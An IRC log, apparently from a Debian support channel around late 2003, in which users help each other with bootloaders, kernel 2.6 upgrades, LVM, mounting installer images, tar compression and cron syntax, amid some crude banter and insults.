| 10:15.14 | Wyzard | Coke: If you want to move the disk to another system where it'll be in a different IDE location, it's probably best to move the disk, then boot the Debian rescue disk, mount and chroot to the hard drive, and run lilo |
| 10:15.15 | soleil | ecstatix, pme: i'm getting an eMachines m5312... i hope i dont have too much trouble |
| 10:15.26 | pme | Never heard of them, |
| 10:15.35 | Coke | Wyzard: the target system has no floppy and no CD. |
| 10:15.52 | soleil | pme, the linux on laptop site has only one reference, and its a guy running mandrake9.2 |
| 10:15.55 | Wyzard | ah... then you do need to use another hard drive... maybe a small one with DOS and loadlin |
| 10:16.18 | flan | ok here we go 5th time |
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| 10:16.23 | Coke | Wyzard: I already have another hard drive. That is why I have one hda and one hdb. |
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| 10:16.55 | pme | Yeah, I wouldn't recommend Debian for laptops. Servers and desktops, of course, but not laptops, not yet. |
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| 10:17.02 | Coke | And I don't like the idea of having to use another OS to install another. |
| 10:17.30 | oskie | Coke: let me get this right... you have two hdds in a computer, hda & hdb. where's the linux you want to boot? |
| 10:17.36 | Nyle | my sources.list is too old in this distro nothing gets updated. is there anywher eI can get a updated sources.list |
| 10:17.52 | pme | Nyle: point them to the Debian mirrors. |
| 10:17.59 | ecstatix | the problem is people like me never take the trouble of putting a netinstall iso online. after the 2 week effort to install debian on inspiron 1100 and 8500, i learnt a LOT. if people use the iso, it would be easy. just modprobe the drivers after a base install |
| 10:18.01 | pme | Nyle: see www.debian.org |
| 10:18.25 | ecstatix | Nyle apt-setup |
| 10:18.36 | ecstatix | Nyle and apt-spy |
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| 10:18.41 | Nyle | ok |
| 10:19.26 | pme | Wyzard: I'm uploading pr0n, sorry about that. |
| 10:19.31 | Wyzard | hehe |
| 10:19.47 | shaddai | Wyzard: you're connected in full-duplex with your switch ? |
| 10:19.58 | shaddai | mii-diag will answer that question |
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| 10:20.36 | Wyzard | Half-duplex, actually -- I'm on a hub with my laptop, uplinked to a switch where the rest of the network is (but I'm not communicating with anything else) |
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| 10:20.46 | tele | Question: With modutils, I put all aliases in /etc/modutils and run update-modules to update modules.conf. How can I do similar things with module-init-tools and modprobe.conf? |
| 10:20.51 | Wyzard | and my scp to my laptop suddenly dropped from 700kb/sec to 15 |
| 10:20.56 | cyberyo | io |
| 10:21.01 | shaddai | Wyzard: strange |
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| 10:21.06 | soleil | is it possible to install debian from within another linux distribution? |
| 10:21.06 | Wyzard | yeah |
| 10:21.09 | Coke | oskie: the linux I want to boot is on hdb. It's the install floppies as bin-files and the extracted drivers.tgz. |
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| 10:21.15 | soleil | like...from a gentoo livecd |
| 10:21.17 | Wyzard | oh well... I'm going to bed anyway, so I'll just let it finish overnight |
| 10:21.33 | kzar | how do i set which keyboard map to use? |
| 10:21.33 | oskie | Coke: so linux is not installed already? |
| 10:21.36 | Wyzard | hmm |
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| 10:21.55 | Coke | oskie: a working linux is installed on hda, that's the OS I'm working on. |
| 10:21.59 | Wyzard | soleil: Probably... the livecd has enough to partition/mkfs and extract the base-system tarball |
| 10:22.18 | soleil | Wyzard, do you know of a guide anywhere? |
| 10:22.22 | Wyzard | nope, sorry |
| 10:22.26 | soleil | Wyzard, not specific to gentoo |
| 10:22.34 | Coke | oskie: now I'm trying to put the installation system on hdb to make it a bootable installation media for my new target system which does not have CD nor floppy HW. |
| 10:22.42 | oskie | Coke: and how do you intend to install on hdb? by duplicating everything from hda? or by running an installation CD? |
| 10:23.04 | Wyzard | I would think that once you've extracted the base tarball, everything else you need for the installation is on the hard drive, but I haven't looked at the internals of the installer |
| 10:23.05 | Coke | oskie: I already told you, I have the install floppies linux.bin, root.bin and drivers.tgz on hdb. |
| 10:23.20 | kzar | How do i set the keyboard map to a uk one? |
| 10:23.46 | flan | ok good night poeple |
| 10:23.49 | Coke | kzar: for X, for KDE, for GNOME or for console? |
| 10:23.50 | re_garcia | I'm getting FATAL error messages at boot time, although I can boot. I've checked dmesg and all .log ind the /var/log. where else can I check? |
| 10:23.51 | oskie | Coke: well, how would that help you? |
| 10:23.53 | flan | its been real |
| 10:23.54 | kzar | console coke |
| 10:24.04 | Coke | oskie: because the installation floppies can install a system. |
| 10:24.29 | oskie | Coke: yeah, but you can't boot from the installation floppies when they're on hdb! |
| 10:24.36 | Coke | oskie: they boot and launch the installer. if I can make grub or lilo boot the floppy images from hdb (which will be hda for the new system which is the problem) |
| 10:24.47 | Coke | oskie: sure you can. |
| 10:25.14 | oskie | Coke: you'd need a specially setup boot loader then, I'd gues |
| 10:25.16 | oskie | guess |
| 10:25.57 | Coke | oskie: yes, and here is my problem. lilo cannot install on one device and boot on another it seems. |
| 10:26.07 | Wyzard | Maybe you could extract the contents of the boot floppies to a bootable disk partition |
| 10:26.18 | Coke | kzar: please don't send me private messages, this is a public channel. |
| 10:26.26 | Wyzard | For this usage, you could put LILO on the partition rather than the disk |
| 10:26.38 | oskie | Coke: well I get the impression that you're experienced enough to set it up correctly if you got the right tools... :) I recommend grub over lilo anyway... but maybe that's not possible in this case? |
| 10:26.41 | Wyzard | and rely on the normal DOS MBR to initiate booting the "active" partition |
| 10:26.53 | Coke | Wyzard: how would that help me? hdb5 is just as wrong as hdb when the disk becomes hda. |
| 10:27.33 | Coke | oskie: it is possible, just that the manuals only covers lilo. I've tried with GRUB, but it has a 1.5 stage error and I can't tell the cause of it. |
| 10:28.04 | oskie | Coke: possible because it isn't finding the stage 1.5 files? |
| 10:28.13 | oskie | or stage 1.5 data |
| 10:28.18 | Wyzard | I think GRUB normally locates its stage1.5 by the same means LILO finds its map files, by hardcoding the disk locations |
| 10:29.06 | oskie | yeah.. |
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| 10:29.12 | Coke | oskie & Wyzard probably. and I don't think anything should be missing though. |
| 10:29.13 | Wyzard | I believe you can also append a stage1.5 onto stage1, so stage1.5 is located in the first disk cylinder, immediately following the boot sector, and in that case GRUB doesn't need to hard-code the disk locations since it can just keep reading sequentially |
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| 10:29.26 | Coke | anyway, I'm rebooting to try it aout. |
| 10:29.32 | Wyzard | I'm pretty sure it can do that, since I looked into it while making a custom boot floppy last year, but I don't remember the details |
| 10:29.45 | bart | would this be possible ? mounting a crypto fs when the key is stored on a usb stick ? |
| 10:30.03 | bart | I mean, the kernel reads the key from the stick and then mounts the fs otherwise no luck |
| 10:30.16 | oskie | bart: quite possibly |
| 10:30.47 | xtat_ | bart: sounds doable with some autofs type trickery |
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| 10:31.25 | bart | xtat_: would be cool to encrypt my home partition, when someone steals my labtop, no luck :) |
| 10:31.29 | Wyzard | That reminds me of LSM's sample "root-plug" module that's included with 2.6 |
| 10:32.01 | Wyzard | though it's only a superficial similarity |
| 10:32.09 | abcnew | how can i paste text from xterm, to xchat or other? |
| 10:32.26 | xtat_ | neat idea.. i'd like to do that on mine |
| 10:32.34 | Wyzard | Highlight in xterm, middle-click in xchat |
| 10:32.54 | Wyzard | I plan to cryptoloop my /home once I'm running 2.6, but I'm waiting for kernel-source-2.6.0 before I do that |
| 10:33.24 | abcnew | Wyzard, it worked |
| 10:33.40 | Wyzard | might be a good idea to do it for swap too, though I don't know how much of a performance impact that'd have |
| 10:34.12 | bart | Wyzard, it's very stable |
| 10:34.17 | bart | Wyzard, 2.6 |
| 10:34.31 | oskie | if you manage to run 2.6.0 for emulated OS in vmware, please let me know... |
| 10:34.51 | Wyzard | I know it is |
| 10:34.52 | Joris | I wonder how bad the performance hit from cryptoloop is |
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| 10:35.31 | bart | Joris, me too |
| 10:35.53 | Wyzard | Actually, I built a 2.6 from the official sources last night, but when I booted it I ran into some problems wrt LVM |
| 10:37.16 | Wyzard | It's looking like the switch to 2.6 is going to be a "leap of faith" for me, as my target setup won't be very usable under 2.4 |
| 10:37.50 | xtat_ | what type of LVM problems? |
| 10:38.03 | Wyzard | I'm using lvm10 right now |
| 10:38.12 | Wyzard | no device-mapper or anything |
| 10:38.25 | xtat_ | ahh, then i'd have the same prob |
| 10:38.30 | Wyzard | But it's looking like I'll need to switch to lvm2 before I can use 2.6 |
| 10:38.51 | bart | Wyzard, you should combine evms with lvm and kernel 2.6 |
| 10:38.53 | Wyzard | which means having to use the unofficial device-mapper patch if I want to use 2.4 again |
| 10:39.10 | Wyzard | I'd like very much to use EVMS, but I don't know how stable it is |
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| 10:39.47 | bart | Wyzard, it's stable enough |
| 10:39.56 | Wyzard | I'd also like to use XFS for the soon-to-be 400GB filesystem on the LVM device, but again, that's not available in 2.4 (except unofficially) |
| 10:40.22 | caphuso | Wyzard: not true |
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| 10:40.28 | bart | Wyzard, it's coming in 2.4.24-pre |
| 10:40.39 | Wyzard | Someone told me last night that XFS is official in 2.4.23, but there's no kernel-source-2.4.23 in the archive yet (though there *is* a 2.4.23 deb on the maintainer's website... no idea why he hasn't uploaded it) |
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| 10:41.03 | ecstatix | hi |
| 10:42.04 | bart | Wyzard, I compile my kernels by myself |
| 10:42.05 | Wyzard | At any rate, I don't want to start using EVMS until there's a kernel-source-2.6.0 and kernel-patch-2.6-evms |
| 10:42.24 | Wyzard | bart: I do too, but I prefer to use the Debian kernel-source packages rather than the official sources |
| 10:43.05 | ecstatix | how are debian's kernel source packages different from the official .bz2 kernels? |
| 10:43.06 | bart | where can I find a good freeswan howto ? |
| 10:43.28 | bart | ecstatix, debian removes some non free things |
| 10:43.40 | ecstatix | non-free in kernel? |
| 10:44.04 | Wyzard | and adds some bugfixes and miscellaneous patches |
| 10:44.18 | Wyzard | kernel-source-2.4.22 contains a backport of the 2.6 IPSec code, for example |
| 10:44.45 | abcnew | Wyzard, have a patch for .bz2? |
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| 10:45.25 | Zap-W | how do i save a file in w3m? |
| 10:45.51 | soleil | Hmm... will i be able to run dbootstrap if i boot from a GentooCD? |
| 10:45.57 | Wyzard | abcnew: kernel-patch-debian-2.4.22 contains the patch that's applied to the official source to produce the tree that's in kernel-source-2.4.22, if that's what you mean |
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| 10:47.31 | L00thar | Where would be a list of appz not yet ported from Gnome 1.4 to 2.4 -- as well as those libraries which will die with Gnome 1.4? |
| 10:47.44 | interoz | what kind of error is kernel: hda: task_mulin_intr or where can i find info about it? |
| 10:48.00 | L00thar | interoz: Google? |
| 10:48.28 | abcnew | Wyzard, i am 2.6 |
| 10:48.44 | interoz | L00thar: yes i meant if kernel.org has some fs error explanation as far as it's known or something like htat |
| 10:49.17 | Wyzard | abcnew: I'm not sure what you're asking, then |
| 10:49.25 | L00thar | interoz: A big DB of error messages and codes would be something, wouldn't it? |
| 10:50.31 | soleil | http://www.debian.org/releases/stable/i386/ch-install-system.en.html <-- Is this section all facilitated by dbootstrap? |
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| 10:50.49 | L00thar | Newsflash! George W. Bush has been found hiding inside a hole. Apparently his head has been stuck up his ass for quite some time. |
| 10:51.16 | soleil | L00thar, haha |
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| 10:51.23 | L00thar | Breaking news. |
| 10:51.36 | Supaplex | Wahou! my nvidia card works great w/the nvidia drivers =))))))) |
| 10:51.39 | ecstatix | were you with him in the hole too? |
| 10:51.56 | L00thar | ecstatix: In your dreams. |
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| 10:53.02 | Supaplex | trust me, it does :) |
| 10:53.09 | L00thar | super |
| 10:53.16 | L00thar | kongratz. |
| 10:53.24 | Supaplex | news.google.com is something else in full screen hehe. |
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| 10:53.34 | Supaplex | like 2 pages :p |
| 10:53.50 | ecstatix | yeah, which browser does full screen? |
| 10:53.56 | Supaplex | konqueror |
| 10:54.14 | Wyzard | Lots of browsers do fullscreen |
| 10:54.26 | Wyzard | Galeon and Epiphany do, and Mozilla probably does too |
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| 10:54.45 | ecstatix | excellent |
| 10:55.09 | Unfrgiven | mozilla-firebird does fullscreen... at least on windows |
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| 10:55.23 | Wyzard | L00thar: Your bank of monitors is filled with walls? |
| 10:55.25 | Supaplex | that "other" non-free browser does to, but they don't have a linux x86 port. |
| 10:55.33 | L00thar | Larry Walls. |
| 10:55.40 | Wyzard | lol |
| 10:55.48 | L00thar | wall-filling, I guess. |
| 10:56.15 | ecstatix | Supaplex: opera? |
| 10:56.40 | ecstatix | just checked, opera/konquere do full screen |
| 10:56.42 | Supaplex | ecstatix no, they have a linux port. the redmond exploder |
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| 11:00.14 | vinay | just wondering, are disk 1 and disk 5 identical except for the default boot loader? :-S ( http://www.linuxiso.org/distro.php?distro=4 ) |
| 11:00.31 | soleil | is it possible to mount a .bin file as a loopback device? |
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| 11:01.44 | vinay | soleil apt-get install bchunk && bchunk image.bin image.cue # it will give you an image.iso to loop mount |
| 11:01.48 | maru | hi has someone in here installed a working hylafax+capi4hylafax combo? |
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| 11:02.51 | soleil | vinay, i dont have a .cue file... its a .bin image for a floppy i think |
| 11:03.36 | DevilX | vinay, disk1 == kernel 2.4.18, disk 5 == bf2.4.. |
| 11:03.40 | vinay | soleil , oh, if its not a bin/cue image, then its likely just an iso file but "named" .bin .. try mounting it |
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| 11:04.23 | vinay | DevilX, but typing "bf2.4" on the disk1 lilo screen loads bf2.4 .. so i dont see hte point for disk 5, unless its contents are different |
| 11:04.48 | DevilX | hmm... |
| 11:04.51 | DevilX | :-S |
| 11:05.25 | soleil | vinay, it requests fs type... i dont know what fs is |
| 11:05.34 | soleil | vinay, is there an easy wayt o find out? |
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| 11:06.12 | vinay | soleil , do you know what filesystem the floppy is ?.. i.e. is it a windows floppy or a linux floppy image? |
| 11:06.26 | soleil | vinay, its a root.bin from Debian.org |
| 11:06.57 | vinay | ooh |
| 11:08.10 | Supaplex | Are you pondering what I'm pondering?!? |
| 11:08.42 | soleil | vinay, got it! |
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| 11:08.57 | vinay | lol |
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| 11:09.04 | vinay | soleil , what didja have to do to it? |
| 11:09.13 | soleil | vinay: zcat file.bin > tmp.bin ; mount -o loop -t ext2 tmp.bin tmp/ |
| 11:09.36 | vinay | soleil i was close! :D .. hah.. i didnt realize it was gzippd :) |
| 11:09.41 | soleil | i wonder how i can remake the .bin |
| 11:10.34 | vinay | you're editing it? |
| 11:10.43 | soleil | yeah |
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| 11:11.06 | bill_gates | hello |
| 11:11.22 | vinay | gzip tmp.bin ? |
| 11:11.27 | vinay | that probably wont work |
| 11:11.28 | Supaplex | ~ponder |
| 11:11.39 | Supaplex | !ponder |
| 11:11.39 | dpkg | ponder are you pondering what I'm pondering? *Zort*! I think so supaplex, But TacoBell won't accept walk up customers to their drive through window at this hour. |
| 11:11.39 | iq90 | oh, es gibt ein knoppix-channel |
| 11:12.23 | Supaplex | iq90 #knoppix ? |
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| 11:12.25 | bill_gates | I am thinking of buying out the open source movement. It is getting too hot for my business |
| 11:13.07 | iq90 | sorry i was in wron channel. so i talked german |
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| 11:13.44 | bill_gates | iq90; dont worry, we didnt understand anything of what you said |
| 11:13.57 | DevilX | iq90, hier soll man aber englisch reden ;) |
| 11:14.00 | DevilX | lol |
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| 11:14.38 | soleil | oops. |
| 11:14.40 | soleil | that was a bad idea. |
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| 11:14.56 | bill_gates | soleil; what was? |
| 11:15.03 | soleil | doing that. |
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| 11:15.07 | soleil | i wont tell it was dumb |
| 11:15.24 | bill_gates | soleil; you mean joining the channel? |
| 11:15.28 | soleil | no |
| 11:15.37 | DevilX | pressing the [x]-button |
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| 11:16.46 | soleil | vinay, actually... you *might* be right |
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| 11:17.12 | vinay | soleil , gzipping it again?.. i dunno.. gzip tmp.bin; md5sum tmp.bin.gz root.bin # NO MATCH |
| 11:17.35 | vinay | soleil i think its made specially.. i dont know how to make a "bootable" image |
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| 11:19.45 | flawd | I use woody and I want to format with fat32 fs. I dont have a mkfs.vfat |
| 11:19.48 | flawd | how do i do it |
| 11:19.52 | flawd | what package do i install |
| 11:20.22 | soleil | vinay, its ok the floppy isnt important... i think i may be successful in just copying the files in this root.bin to a gentoo livecd |
| 11:20.29 | MoDaX | flawd: dosfstools |
| 11:20.33 | flawd | thanks |
| 11:21.11 | vinay | soleil , hmm, why not just put the image on a floppy? :P |
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| 11:21.24 | soleil | vinay, i want to add more stuff to the cd |
| 11:21.35 | soleil | vinay, anything i might need to install linux on my laptop :-/ |
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| 11:21.46 | vinay | soleil , oh, no network access? |
| 11:21.47 | flawd | mkfs.vfat is fat32? |
| 11:22.10 | MoDaX | flawd: yes |
| 11:22.12 | flawd | thanks |
| 11:22.13 | soleil | vinay, maybe not.. the module for the network card is not in the deb install kernel, and neither is the wireless |
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| 11:22.50 | soleil | vinay, this might actually work, too |
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| 11:23.02 | boris | hello, i can not apt-get install some packages, it writes depends xxxx but is not going to be installed |
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| 11:24.00 | boris | and i find it in circular dependency among packages, so i can not install/update many things, what is wrong ? |
| 11:24.29 | Zap-W | what's the line to get a crontab job to run every 4 hours |
| 11:24.44 | vinay | soleil, hmm, perhaps: install debian normally wihtout network.. put the kernel source onto a CD, compile a custom kernel with networking modules? |
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| 11:25.46 | vinay | Zap-W 0 */4 * * * /my/app |
| 11:25.54 | boris | Zap-W: * 0/4 * * |
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| 11:27.44 | Zap-W | what's the difference between the 2 |
| 11:27.58 | caphuso | the second one's wrong |
| 11:28.18 | vinay | LOL |
| 11:28.25 | vinay | caphuso, i was checking man files here :) |
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| 11:29.27 | soleil | the 'linux.bin' install file is the actual kernel, right? |
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| 11:32.26 | Zap-W | bah , how do i set the UTC date correctly |
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| 11:34.05 | vinay | i use NTP to keep my time proper |
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| 11:37.21 | DelEat_ | :) |
| 11:38.02 | angelina | :)> |
| 11:38.46 | Zap-W | how do i use the network init scipts to set eth0 device to 10Mbit Half duplex by default |
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| 11:41.52 | luser_ | Zap-W: In which way do you want to set eth0? |
| 11:43.27 | Zap-W | 10baseT-HD |
| 11:43.38 | Zap-W | what you mean |
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| 11:44.21 | luser_ | Zap-W: Do you know which commands or module parameter do you need to set the eth0? |
| 11:45.33 | Zap-W | using 8139too driver |
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| 11:46.43 | hackeron | hey, question.. what is the best way to archive the contents of a folder recursively in linux? (tar seems to have a bad compression even with -z and bzip2 doesn't seem to support archiving multiple files in 1 archive) |
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| 11:47.28 | luser_ | hackeron: tar cjf x.tar directory/ (rtfm) |
| 11:48.03 | hackeron | luser_, rtfmah (read the fine message arse hole) ... I said bad compression with tar |
| 11:48.06 | thisnthat | I'm running Gnome2.2 backport for woody and meld does not work |
| 11:48.13 | thisnthat | $ meld |
| 11:48.13 | thisnthat | Fatal Python error: could not import bonobo.ui |
| 11:48.13 | thisnthat | Aborted |
| 11:48.14 | modconf | thisnthat: bugger all, i dunno |
| 11:48.55 | comet_11 | hackeron, you could tar and bzip2... :P |
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| 11:49.17 | luser_ | hackeron: tar doesn't compress. tar czf is like 'tar cf - | gzip'. |
| 11:49.42 | beware | if apt-get upgrade is run from a crontab, does it run w/o asking comfirmation, or does it need special params? |
| 11:49.52 | luser_ | hackeron: and tar cjf is like 'tar cf - | bzip2' |
| 11:50.09 | hackeron | luser_, again, please read my message, I said -z gives poor compression, because you can't set the -9 for instance for max compression |
| 11:50.11 | caphuso | beware: you don' |
| 11:50.13 | caphuso | beware: you don't do that |
| 11:50.43 | luser_ | hackeron: and I said use tar cjf for using bzip2. |
| 11:50.49 | initech | hackeron: then use "jcf" not "zcf" |
| 11:51.01 | caphuso | hackeron: would you STFU now? |
| 11:51.30 | caphuso | hackeron: nothing and nobody except your own total stupidity is stopping you from creating a uncompressed tarball and gzip -9 that |
| 11:51.44 | hackeron | caphuso, what? |
| 11:52.00 | aZ[a]ZeL | tar -cvf - | gzip -9 > myfile.tar.gz |
| 11:52.16 | hackeron | caphuso, dude, you need to chill, seriously.. maybe a change of tampons? |
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| 11:52.51 | aZ[a]ZeL | what's +q? |
| 11:52.53 | aZ[a]ZeL | quiet? |
| 11:52.57 | caphuso | aZ[a]ZeL: yes |
| 11:53.03 | caphuso | can't talk, but can still join |
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| 11:53.12 | jholt | hackeron, and besides you should the seperate programs or is that only for decompression? |
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| 11:53.34 | aMoK | hi |
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| 11:58.56 | soleil | does the debian install cd have unzip on it? |
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| 12:01.31 | DelEat | anybody know if ft2 has headerbugs??? |
| 12:03.07 | soleil | think people... what else could i possible need to install debian |
| 12:03.10 | soleil | on one cd |
| 12:03.44 | soleil | actually, the install is taken care of... its hardware stuf that i should be worrying about |
| 12:03.49 | tarzeau | does this also look bad with your fonts in mozilla/galeon? http://www.debian.org/index.lt.html |
| 12:04.13 | tarzeau | DelEat: what's ft2? |
| 12:04.20 | tarzeau | soleil: i think yes |
| 12:04.25 | DelEat | tarzeau: hi |
| 12:04.30 | DelEat | tarzeau: freetype2 |
| 12:04.33 | soleil | tarzeau, ? |
| 12:04.39 | tarzeau | 12:59 < soleil> does the debian install cd have unzip on it? |
| 12:04.48 | soleil | tarzeau, ah, thanks |
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| 12:05.10 | DelEat | tarzeau: your turkish page looks fine in my galeon (unstable) |
| 12:05.19 | tarzeau | DelEat: this is not turkish |
| 12:05.26 | DelEat | tarzeau: oh no...lt |
| 12:05.26 | tarzeau | DelEat: the font looks very dull here |
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| 12:05.31 | DelEat | tarzeau: my bad... |
| 12:05.50 | tarzeau | DelEat: probably a font i'm missing, let me make a screenshot |
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| 12:06.15 | DelEat | tarzeau: http://www.ehp.dk/~skovsen/screenshots/tarz.jpg |
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| 12:07.18 | tarzeau | www.linuks.mine.nu/people/deleat/lt.jpg |
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| 12:08.19 | tarzeau | looks good in konqueror though |
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| 12:08.56 | DelEat | tarzeau: ouch - looks like the fonts aren't setup right for you, tarz! |
| 12:09.08 | tarzeau | DelEat: all the rest is fine, only that not |
| 12:09.15 | DelEat | tarzeau: yeah - I got my own subdir on linuks.mine.nu! |
| 12:09.23 | tarzeau | yuck konqueror looks ugly, can i make it look better? |
| 12:09.33 | tarzeau | (i don't usually have kde applications) |
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| 12:09.44 | tarzeau | DelEat: hehe :) |
| 12:10.00 | DelEat | tarzeau: screw konqueror - takes too long to open ;-) |
| 12:11.00 | tarzeau | DelEat: i'm looking forward for this http://mac.wms-network.de/gnustep/WebCore/blog/shots.html |
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| 12:13.00 | Poll | hi guys.. |
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| 12:13.48 | DelEat | tarzeau: why? |
| 12:14.03 | DelEat | tarzeau: that's got a big border compared to galeon fullscreen? |
| 12:14.07 | tarzeau | DelEat: because teh GNUstep SI TEH FUTARE |
| 12:14.15 | DelEat | tarzeau: hehe |
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| 12:14.41 | tarzeau | DelEat: it really is #gnustep *hint hint* |
| 12:14.45 | cafuego | but it's so ugly |
| 12:14.58 | tarzeau | cafuego: ohhh greycat says that too, but it's beautiful |
| 12:15.12 | tarzeau | (well for me, it's the most aestethic!) and hey you can theme it! |
| 12:15.17 | mesja | im trying to install a 2.6.0 kernel for my testing debian installation, using the sources direct from kernel.org, and I'm having no end of problems. Is there anything major I should be doing (ie debian patch, or use debian sources from somewhere, etc)? |
| 12:15.20 | cafuego | tarzeau: boxy and very 80s |
| 12:15.27 | tarzeau | yah that is what i like! |
| 12:15.33 | cafuego | mesja: module-init-tools |
| 12:15.36 | tarzeau | if i want something beautiful, i got to my girlfriend |
| 12:15.37 | Poll | i just finished getting a second computer using my cable modem with a router.. (newbie to networking) both computers are online now and running debian.. how do i access the second computer now? |
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| 12:15.40 | cafuego | tarzeau: *shudder* |
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| 12:16.01 | cafuego | tarzeau: I tyhink its widgets use up too much screen realestate |
| 12:16.04 | mesja | cafuego: what's that for? |
| 12:16.07 | dinstall | Hello. About the kernel security problems, what is the latest word on what kernel to use on a stable system? |
| 12:16.15 | cafuego | mesja: kernel 2.6 |
| 12:16.28 | cafuego | dinstall: the debian provided 2.4.18 is patched |
| 12:16.28 | tarzeau | cafuego: if i look at gnome or kde , i don't like them any better |
| 12:16.38 | cafuego | tarzeau: Of course not. |
| 12:16.38 | dinstall | cafuego: in woody? |
| 12:16.42 | cafuego | dinstall: yes |
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| 12:17.10 | Poll | that should have said finished getting a second computer /online/ using my cable modem with a router.. |
| 12:17.12 | dinstall | cafuego: how can I tell? |
| 12:17.24 | cafuego | dinstall: I'm telling you it is. |
| 12:17.42 | cafuego | dinstall: The changelog will confirm |
| 12:17.55 | dinstall | cafuego: ok. |
| 12:18.07 | dinstall | cafuego: but basically, you have to install the kernel package before you can tell then? |
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| 12:18.45 | Poll | do i need to setup NFS in order to access the files on the second computer or is there a way for me to access them now? |
| 12:18.53 | dinstall | cafuego: also, I presume the 2.4.22-1 image for sarge is patched too? |
| 12:19.01 | cafuego | dinstall: Yes, at the moment anyway, coz packages.debian.org is down. |
| 12:19.13 | cafuego | dinstall: I'd hope so ;-) |
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| 12:19.24 | cafuego | dinstall: You can always build 2.4.23 by hand |
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| 12:20.10 | Wyzard | Poll: If you want to transfer files between two computers over a network, it's easier to use FTP or (better yet) SSH |
| 12:20.14 | dinstall | cafuego: but those sources aren't available through debian. I was hoping there was a patched version of the kernel source available in debian. |
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| 12:20.32 | cafuego | dinstall: kernel-source-2.4.18 |
| 12:20.40 | mesja | cafuego: looks like ive already got the module-init-tools package. is there anything i need to do with it, in particular? |
| 12:20.45 | Wyzard | Poll: If you want to make files on one computer *permanently* available to the other (rather than uploading/downloading specific files as needed), then look into something like NFS |
| 12:20.54 | cafuego | mesja: Just install and you'll be fine. |
| 12:21.02 | dinstall | cafuego: and that's the only patched version so far? hm. perhaps I should DL the 2.4.23 sources anyway. |
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| 12:21.20 | cafuego | dinstall: well, afaik that's the latest kernel in woody, so yes. |
| 12:21.43 | dinstall | cafuego: yeah, but I also have a sarge installation. |
| 12:21.54 | dinstall | cafuego: and the latest kernel there is 2.4.22 in the 2.4 series. |
| 12:22.50 | dinstall | cafuego: guess I have to check the changelog to know if the sarge 2.4.22 package is patched. |
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| 12:23.55 | mesja | cafuego: ah, but im not fine! when i try to boot the new kernel, im getting a kernel panic, something along the lines of 'unable to mount root fs' |
| 12:24.40 | Wyzard | mesja: You probably left out a driver for something like IDE hard-drive support or whatever filesystem you're using |
| 12:25.51 | mesja | Wyzard: it also gives an error reading 'ramdisk: couldn't find valid ram disk image starting at 0,' which may well be why it cant find the drivers... but im pretty sure ive created initrd correctly |
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| 12:26.19 | Poll | Wyzard: ok, thank you :) |
| 12:26.22 | Wyzard | ah |
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| 12:29.05 | DelEat | cafuego: gotta agree with you on the gnustep browser |
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| 12:31.49 | tarzeau | DelEat: you know GNUstep is teh thing for newbies, a browser, a news reader, an irc client, a board game, a mail client |
| 12:32.00 | tarzeau | DelEat: all easy, no fancy buttons |
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| 12:32.54 | tarzeau | my aunt is getting an orgasm when she sees all these colors and buttons in mozilla or kde/konqueror |
| 12:33.05 | tarzeau | i'm getting one when i see windows |
| 12:33.15 | tarzeau | it's frustrating |
| 12:34.21 | aZ[a]ZeL | konqueror is some powerful shit :/ |
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| 12:34.32 | azreal | is windowmaker still part of gnustep? |
| 12:34.47 | tarzeau | azreal: most still use window maker with gnustep , but ask in #gnustep |
| 12:34.53 | james | is there a command which will make dpkg install only the newest version of a file? |
| 12:35.04 | DMJC | so instead of dpkg -i * |
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| 12:35.19 | tarzeau | azreal: they are both not integrating well, especially the themes/colors and if you use autofocus/autoraise |
| 12:35.24 | cafuego | DMJC: apt-get install <foo> |
| 12:35.28 | DMJC | dpkg -i *choose newest version* * |
| 12:35.35 | DMJC | can't use apt-get |
| 12:35.45 | cafuego | DMJC: Why not? |
| 12:35.57 | DMJC | I've got packages on my HD... don't need to redownload tons of crap |
| 12:36.10 | cafuego | so copy 'em into /var/cache/apt/archives |
| 12:36.16 | DMJC | k |
| 12:36.17 | DelEat | 'mail' moved some mails from /var/mail/user to /home/user/mbox - how do I move them back? |
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| 12:36.27 | DMJC | and apy-get will auto do it afterwards? |
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| 12:36.35 | azreal | tarzeau: unfortunate, i never paid too much attention to gnustep devel, i was interested in it a long time ago when it was still immature |
| 12:36.48 | cafuego | DelEat: Wat to move them all back? or just a few? |
| 12:37.01 | DelEat | cafuego: let me check |
| 12:37.13 | tarzeau | azreal: i wish you take a look at it, they made great improvements (and still are doing so) |
| 12:37.18 | DelEat | cafuego: all |
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| 12:37.29 | tarzeau | azreal: also the packages in debian get better, eric could sure need some more help |
| 12:37.33 | cafuego | DelEat: cat ~/mbox >> /var/spool/mail/<user> |
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| 12:37.38 | DelEat | cafuego: I guess I could open the mailbox in mutt and select to move them? |
| 12:37.41 | cafuego | DelEat: Note the double > |
| 12:37.47 | DelEat | cafuego: but won't they be sorted wrong then? |
| 12:37.47 | tarzeau | azreal: if you want to try out something, apt-get install gridlock (it's a board game i packaged) |
| 12:37.50 | MeVeryAngry | hi, does anyone remember the command to update fonts in /usr/share/fonts? |
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| 12:37.52 | cafuego | DelEat: No |
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| 12:38.01 | cafuego | DelEat: The mail client sorts them anyway |
| 12:38.04 | Duke_Nuke | i can't find "helper applications" (file->program association) in the gnome-control-center (debian unstable), where can i find it? |
| 12:38.06 | DelEat | cafuego: was thinking of doing it the opposite way and then moving mbox -> spool |
| 12:38.11 | DelEat | cafuego: ok |
| 12:38.19 | cafuego | DelEat: either way worksd |
| 12:38.21 | jsn | Is Debian really missing the perl package HTML::Tidy ? I have tried searching for Tidy.pm with apt, but no luck |
| 12:38.34 | cafuego | jsn: apt-get install dh-make-perl |
| 12:38.47 | DelEat | cafuego: yup, guess so |
| 12:38.54 | DelEat | MeVeryAngry: update? |
| 12:38.54 | cafuego | !find Tidy.pm |
| 12:39.04 | dpkg | Debian Package/File/Desc Search of 'Tidy.pm' returned no results. |
| 12:39.06 | MeVeryAngry | DelEat: yes... to include fonts in font list |
| 12:39.15 | DelEat | MeVeryAngry: as you edit XF86Config-4 ? |
| 12:39.16 | jsn | cafuego: it's not a perl package, my brain damage |
| 12:39.20 | cafuego | jsn: Yep, dh-make-perl is the way to go. |
| 12:39.28 | jsn | cafuego: I was looking for tidy.sourceforge.net |
| 12:39.34 | cafuego | jsn: tssk |
| 12:39.38 | cafuego | !find bin/tidy |
| 12:39.45 | dpkg | Debian Search of 'bin/tidy' (2 shown): (/usr/bin/tidy) in web/tidy ;; (/usr/bin/tidy-proxy) in net/tidy-proxy. |
| 12:39.59 | cafuego | jsn: apt-get install tidy |
| 12:40.02 | jsn | :) |
